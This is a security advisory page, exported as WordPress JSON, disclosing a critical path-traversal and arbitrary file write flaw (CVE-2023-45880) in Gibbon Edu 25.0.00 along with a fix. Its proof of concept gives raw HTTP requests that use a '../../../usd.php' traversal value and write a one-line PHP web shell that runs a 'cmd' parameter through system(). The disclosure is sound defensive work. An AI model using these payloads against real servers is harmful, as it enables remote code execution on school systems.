{"id":21356,"date":"2023-11-10T11:50:06","date_gmt":"2023-11-10T10:50:06","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2023-0022\/"},"modified":"2023-11-14T15:25:34","modified_gmt":"2023-11-14T14:25:34","slug":"usd-2023-0022","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0022\/","title":{"rendered":"usd-2023-0022"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2023-0022 | Path-Traversal<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0022<br \/><strong>Product<\/strong>: Gibbon (https:\/\/gibbonedu.org\/)<br \/><strong>Affected Version<\/strong>: 25.0.00<br \/><strong>Vulnerability Type<\/strong>: CWE-23: <span>Path-Traversal<\/span><br \/><strong>Security Risk<\/strong>: Critical<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/gibbonedu.org<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE number<\/strong>: CVE-2023-45880<\/p>\n<h3>Desciption<\/h3>\n<p>Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processes<br \/>It offers a range of features to facilitate communication, collaboration, and organization within the educational community.<\/p>\n<p>The application allows high priviliged users to create report templates.<br \/>The report template builder is vulnerable to a Path Traversal vulnerability.<\/p>\n<p>The \"uploads\" directory is not accessible by default, however it is possible to write files directly in the web root.<br \/>Even the file extension can be manipulated which results in an arbitrary file write vulnerability.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>In the first step, we need to duplicate one of the existing assets. This can be done on the <strong>Home &gt; Reports &gt; Template Builder &gt; Manage Assets<\/strong> page.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/b7147bcb-b71b-414f-9558-bba304ceb3f2.png\" width=\"839\" height=\"240\" alt=\"\" class=\"wp-image-21349 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/b7147bcb-b71b-414f-9558-bba304ceb3f2.png 839w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/b7147bcb-b71b-414f-9558-bba304ceb3f2-480x137.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 839px, 100vw\" \/><\/p>\n<p>The original request that is triggered is shown below:<\/p>\n<div class=\"codehilite\" style=\"background: #263238; color: #eff;\">\n<pre style=\"line-height: 125%;\"><span style=\"background: #263238;\"><\/span><span class=\"nf\" style=\"background: #263238; color: #82aaff;\">POST<\/span> <span class=\"nn\" style=\"background: #263238; color: #ffcb6b;\">\/modules\/Reports\/templates_assets_components_duplicateProcess.php<\/span> <span class=\"kr\" style=\"background: #263238; color: #bb80b3;\">HTTP<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">\/<\/span><span class=\"m\" style=\"background: #263238; color: #f78c6c;\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238; color: #bb80b3;\">Host<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">:<\/span> <span class=\"l\" style=\"background: #263238; color: #c3e88d;\">localhost:8080<\/span>\n<span class=\"err\" style=\"background: #263238; color: #ff5370;\">[...]<\/span>\n\n------WebKitFormBoundaryGDOtYymhe5cRMATP\nContent-Disposition: form-data; name=\"address\"\n\n\/modules\/Reports\/templates_assets_components_duplicate.php\n------WebKitFormBoundaryGDOtYymhe5cRMATP\nContent-Disposition: form-data; name=\"gibbonReportPrototypeSectionID\"\n\n0000000025\n------WebKitFormBoundaryGDOtYymhe5cRMATP\nContent-Disposition: form-data; name=\"templateFileDestination\"\n\nfooters\/pageNumber.twig.html\n------WebKitFormBoundaryGDOtYymhe5cRMATP--\n<\/pre>\n<\/div>\n<p>The <strong>templateFileDestination<\/strong> parameter shows where the component template will be saved to. The file can be moved to the webroot, to make it accessible. An attacker can even change the file extension to <strong>php<\/strong>.<\/p>\n<div class=\"codehilite\" style=\"background: #263238; color: #eff;\">\n<pre style=\"line-height: 125%;\"><span style=\"background: #263238;\"><\/span><span class=\"nf\" style=\"background: #263238; color: #82aaff;\">POST<\/span> <span class=\"nn\" style=\"background: #263238; color: #ffcb6b;\">\/modules\/Reports\/templates_assets_components_duplicateProcess.php<\/span> <span class=\"kr\" style=\"background: #263238; color: #bb80b3;\">HTTP<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">\/<\/span><span class=\"m\" style=\"background: #263238; color: #f78c6c;\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238; color: #bb80b3;\">Host<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">:<\/span> <span class=\"l\" style=\"background: #263238; color: #c3e88d;\">localhost:8080<\/span>\n<span class=\"err\" style=\"background: #263238; color: #ff5370;\">[...]<\/span>\n\n------WebKitFormBoundaryGDOtYymhe5cRMATP\nContent-Disposition: form-data; name=\"address\"\n\n\/modules\/Reports\/templates_assets_components_duplicate.php\n------WebKitFormBoundaryGDOtYymhe5cRMATP\nContent-Disposition: form-data; name=\"gibbonReportPrototypeSectionID\"\n\n0000000025\n------WebKitFormBoundaryGDOtYymhe5cRMATP\nContent-Disposition: form-data; name=\"templateFileDestination\"\n\n..\/..\/..\/usd.php\n------WebKitFormBoundaryGDOtYymhe5cRMATP--\n<\/pre>\n<\/div>\n<p>The file can be created from within the web application. You can insert PHP code and receive remote code execution.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/075c1758-a9a6-4c8a-b8f7-386478d3a45a.png\" width=\"1201\" height=\"787\" alt=\"\" class=\"wp-image-21351 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/075c1758-a9a6-4c8a-b8f7-386478d3a45a.png 1201w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/075c1758-a9a6-4c8a-b8f7-386478d3a45a-980x642.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/075c1758-a9a6-4c8a-b8f7-386478d3a45a-480x315.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1201px, 100vw\" \/><\/p>\n<p>This will result in the following request to be triggered<\/p>\n<div class=\"codehilite\" style=\"background: #263238; color: #eff;\">\n<pre style=\"line-height: 125%;\"><span style=\"background: #263238;\"><\/span><span class=\"nf\" style=\"background: #263238; color: #82aaff;\">POST<\/span> <span class=\"nn\" style=\"background: #263238; color: #ffcb6b;\">\/modules\/Reports\/templates_assets_components_editProcess.php<\/span> <span class=\"kr\" style=\"background: #263238; color: #bb80b3;\">HTTP<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">\/<\/span><span class=\"m\" style=\"background: #263238; color: #f78c6c;\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238; color: #bb80b3;\">Host<\/span><span class=\"o\" style=\"background: #263238; color: #89ddff;\">:<\/span> <span class=\"l\" style=\"background: #263238; color: #c3e88d;\">localhost:8080<\/span>\n<span class=\"err\" style=\"background: #263238; color: #ff5370;\">[...]<\/span>\n\n------WebKitFormBoundaryfnqLMucCLAXR1frS\nContent-Disposition: form-data; name=\"address\"\n\n\/modules\/Reports\/templates_assets_components_edit.php\n------WebKitFormBoundaryfnqLMucCLAXR1frS\nContent-Disposition: form-data; name=\"gibbonReportPrototypeSectionID\"\n\n0000000028\n------WebKitFormBoundaryfnqLMucCLAXR1frS\nContent-Disposition: form-data; name=\"name\"\n\nPage Number\n------WebKitFormBoundaryfnqLMucCLAXR1frS\nContent-Disposition: form-data; name=\"templateFile\"\n\n..\/..\/..\/usd.php\n------WebKitFormBoundaryfnqLMucCLAXR1frS\nContent-Disposition: form-data; name=\"templateContent\"\n\n&lt;?php echo system($_GET['cmd']);?&gt;\n------WebKitFormBoundaryfnqLMucCLAXR1frS--\n<\/pre>\n<\/div>\n<p>It should be noted, that the frontend will return an error that the request \"failed due to a database error\". However, the file is still created and populated with the payload.<br \/>The following screenshot shows, that the file was successfully created and populated with the payload.<br \/><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/b5134851-e6c3-4611-aa2f-4d55992e5a3f.png\" width=\"1271\" height=\"217\" alt=\"\" class=\"wp-image-21353 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/b5134851-e6c3-4611-aa2f-4d55992e5a3f.png 1271w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/b5134851-e6c3-4611-aa2f-4d55992e5a3f-980x167.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2023\/11\/b5134851-e6c3-4611-aa2f-4d55992e5a3f-480x82.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1271px, 100vw\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\"4.23.1\" _module_preset=\"default\"][et_pb_column _builder_version=\"4.23.1\" _module_preset=\"default\" type=\"4_4\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<\/p>\n<p data-pm-slice=\"1 1 []\">This vulnerability can be chained with others, resulting in an exploit path that we demonstrated in this video:<\/p>\n<p>[\/et_pb_text][et_pb_code _builder_version=\"4.23.1\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\" custom_margin=\"|379px||||\"]<iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube-nocookie.com\/embed\/KTnc9R2J3As?si=hTJFdiXEmMXXztrm\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen><\/iframe>[\/et_pb_code][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<p>&nbsp;<\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to prevent passing user-supplied input to filesystem operations.<br \/>If this is required, escape user input before processing it. Use a whitelist approach to only allow valid input.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/owasp.org\/www-project-web-security-testing-guide\/latest\/4-Web_Application_Security_Testing\/05-Authorization_Testing\/01-Testing_Directory_Traversal_File_Include<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-07-11<\/strong>: Vulnerability identified by Christian Poeschl<\/li>\n<li><strong>2023-09-19<\/strong>: Security Release v25.0.01<\/li>\n<li><strong>2023-11-02<\/strong>: Advisory published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian Poeschl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0022 | Path-Traversal Advisory ID: usd-2023-0022Product: Gibbon (https:\/\/gibbonedu.org\/)Affected Version: 25.0.00Vulnerability Type: CWE-23: Path-TraversalSecurity Risk: CriticalVendor URL: https:\/\/gibbonedu.orgVendor acknowledged vulnerability: YesVendor Status: FixedCVE number: CVE-2023-45880 Desciption Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processesIt offers a range of features to facilitate communication, collaboration, and organization [&hellip;]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-21356","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21356","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=21356"}],"version-history":[{"count":4,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21356\/revisions"}],"predecessor-version":[{"id":21437,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21356\/revisions\/21437"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=21356"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}